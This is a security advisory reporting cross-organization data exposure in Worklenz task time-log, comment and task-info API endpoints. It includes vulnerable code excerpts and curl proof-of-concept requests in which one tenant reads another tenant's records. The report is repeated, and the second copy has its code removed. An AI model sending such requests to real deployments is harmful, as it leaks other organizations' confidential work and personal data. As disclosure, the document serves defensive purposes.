User Request
reported on 4 June 2026 - no response: https://github.com/Worklenz/worklenz/security/advisories/GHSA-4rmm-mgg4-wxg5
Summary
Multiple task-level API endpoints accept a task UUID as a path or query
parameter and return data for that task without verifying that the requesting
user belongs to the owning organization. Any authenticated user, including
a member of a completely unrelated team, can supply another organization's
task UUID and read that task's name, description, time logs (with contributor
names and emails), comments, and project metrics. Three distinct endpoints are
confirmed vulnerable: GET /api/v1/task-time-log/task/:id, GET
/api/v1/task-comments/:id, and GET /api/v1/tasks/info.
Details
-
Task time logs -- task-work-log-controller.ts, lines 27-78
The getTimeLogs() helper at line 27 queries task_work_log with only
WHERE task_id = $1. The caller getByTask() at line 71 passes
req.params.id directly:
private static async getTimeLogs(id: string, timeZone: string) {
const q = `
SELECT id, description, time_spent, ...
(SELECT name FROM users WHERE users.id = task_work_log.user_id) AS user_name,
(SELECT email FROM users WHERE users.id = task_work_log.user_id) AS user_email,
FROM task_work_log
WHERE task_id = $1
`;
const result = await db.query(q, [id]);
...
}
public static async getByTask(req: IWorkLenzRequest, res: IWorkLenzResponse) {
const results = await this.getTimeLogs(req.params.id, ...);
...
}
There is no join or subquery that restricts results to the caller's
team_id. The route (task-work-log-api-router.ts) applies only
idParamValidator (a UUID format check) with no ownership check.
-
Task comments -- task-comments-controller.ts, lines 379-381
The getByTaskId() handler calls getTaskComments(req.params.id) which
queries task_comments WHERE task_id = $1 with no team scoping:
public static async getByTaskId(req, res) {
const result = await TaskCommentsController.getTaskComments(req.params.id);
return res.status(200).send(new ServerResponse(true, result.rows));
}
The route /api/v1/task-comments/:id requires only a valid session.
-
Task info (stored procedure) -- tasks-controller.ts, getById
The handler calls get_task_form_view_model(_user_id, _team_id, _task_id, _project_id).
Inside the stored procedure the task is fetched with:
FROM tasks WHERE id = _task_id
There is no predicate tying _task_id to _team_id. The team_id parameter
is used only to populate the team_members list shown in the task form,
not to gate access to the task itself. The route is
GET /api/v1/tasks/info?task_id=.
Additional endpoints with the same pattern that return empty results when no
content exists but carry no access gate:
- GET /api/v1/attachments/tasks/:id (attachment-controller.ts, get() at line 77)
- GET /api/v1/project-insights/:id and /logs/:id, /last-updated/:id etc.
(project-insights-controller.ts -- WHERE project_id = $1 only)
- GET /api/v1/project-comments/project-comments/:id (WHERE pc.project_id = $1 only)
PoC
Pre-conditions:
- User A is the owner of Organization A with project ID PROJECT_A and task ID
TASK_A in that project.
- User B is the owner of a completely separate Organization B with no
relationship to Organization A.
- Both users are authenticated; the only shared knowledge is TASK_A's UUID.
Step 1 -- User A logs in and creates a time log on task TASK_A:
curl -b "worklenz.sid=<COOKIE_A>" \
-X POST "http://<host>/api/v1/task-time-log" \
-H "Content-Type: application/json" \
-d '{"id":"<TASK_A>","seconds_spent":3600,"description":"Confidential work note","formatted_start":"2026-06-04T09:00:00Z"}'
Step 2 -- User B (different organization) reads that time log:
curl -b "worklenz.sid=<COOKIE_B>" \
"http://<host>/api/v1/task-time-log/task/<TASK_A>"
Observed response (User B's session, task belongs to Organization A):
{
"done": true,
"body": [
{
"id": "4687d148-...",
"time_spent": "3600",
"description": "Confidential work note",
"user_name": "User Alpha",
"user_email": "usera@example.com",
...
}
]
}
Step 3 -- User A adds a task comment:
curl -b "worklenz.sid=<COOKIE_A>" \
-X POST "http://<host>/api/v1/task-comments" \
-H "Content-Type: application/json" \
-d '{"task_id":"<TASK_A>","content":"Q3 budget discussion -- confidential","mentions":[]}'
Step 4 -- User B reads that comment:
curl -b "worklenz.sid=<COOKIE_B>" \
"http://<host>/api/v1/task-comments/<TASK_A>"
Observed response contains the full comment content, author name, and user ID.
Step 5 -- User B reads task details:
curl -b "worklenz.sid=<COOKIE_B>" \
"http://<host>/api/v1/tasks/info?task_id=<TASK_A>"
Observed response body includes task name, description, project ID, and
organization metadata.
All tests conducted against commit c4c3268 with backend image
chamikajaycey/worklenz-backend:2.1.6.
Why This Matters
Impact
Any authenticated user in a Worklenz instance -- regardless of organizational
affiliation -- can enumerate another organization's task content by supplying
task UUIDs. In a shared self-hosted deployment (e.g., a SaaS provider running
Worklenz for multiple clients), all tenant data is exposed to any tenant.
The leaked data includes work descriptions, time entries, contributor names and
email addresses, task names, task descriptions, and project identifiers.
Urgency (Initial Assessment)
None
User Request
reported on 4 June 2026 - no response: https://github.com/Worklenz/worklenz/security/advisories/GHSA-4rmm-mgg4-wxg5
Summary
Multiple task-level API endpoints accept a task UUID as a path or query
parameter and return data for that task without verifying that the requesting
user belongs to the owning organization. Any authenticated user, including
a member of a completely unrelated team, can supply another organization's
task UUID and read that task's name, description, time logs (with contributor
names and emails), comments, and project metrics. Three distinct endpoints are
confirmed vulnerable: GET /api/v1/task-time-log/task/:id, GET
/api/v1/task-comments/:id, and GET /api/v1/tasks/info.
Details
Task time logs -- task-work-log-controller.ts, lines 27-78
The getTimeLogs() helper at line 27 queries task_work_log with only
WHERE task_id = $1. The caller getByTask() at line 71 passes
req.params.id directly:
There is no join or subquery that restricts results to the caller's
team_id. The route (task-work-log-api-router.ts) applies only
idParamValidator (a UUID format check) with no ownership check.
Task comments -- task-comments-controller.ts, lines 379-381
The getByTaskId() handler calls getTaskComments(req.params.id) which
queries task_comments WHERE task_id = $1 with no team scoping:
The route /api/v1/task-comments/:id requires only a valid session.
Task info (stored procedure) -- tasks-controller.ts, getById
The handler calls get_task_form_view_model(_user_id, _team_id, _task_id, _project_id).
Inside the stored procedure the task is fetched with:
There is no predicate tying _task_id to _team_id. The team_id parameter
is used only to populate the team_members list shown in the task form,
not to gate access to the task itself. The route is
GET /api/v1/tasks/info?task_id=.
Additional endpoints with the same pattern that return empty results when no
content exists but carry no access gate:
(project-insights-controller.ts -- WHERE project_id = $1 only)
PoC
Pre-conditions:
TASK_A in that project.
relationship to Organization A.
Step 1 -- User A logs in and creates a time log on task TASK_A:
Step 2 -- User B (different organization) reads that time log:
Observed response (User B's session, task belongs to Organization A):
{ "done": true, "body": [ { "id": "4687d148-...", "time_spent": "3600", "description": "Confidential work note", "user_name": "User Alpha", "user_email": "usera@example.com", ... } ] }Step 3 -- User A adds a task comment:
Step 4 -- User B reads that comment:
Observed response contains the full comment content, author name, and user ID.
Step 5 -- User B reads task details:
Observed response body includes task name, description, project ID, and
organization metadata.
All tests conducted against commit c4c3268 with backend image
chamikajaycey/worklenz-backend:2.1.6.
Why This Matters
Impact
Any authenticated user in a Worklenz instance -- regardless of organizational
affiliation -- can enumerate another organization's task content by supplying
task UUIDs. In a shared self-hosted deployment (e.g., a SaaS provider running
Worklenz for multiple clients), all tenant data is exposed to any tenant.
The leaked data includes work descriptions, time entries, contributor names and
email addresses, task names, task descriptions, and project identifiers.
Urgency (Initial Assessment)
None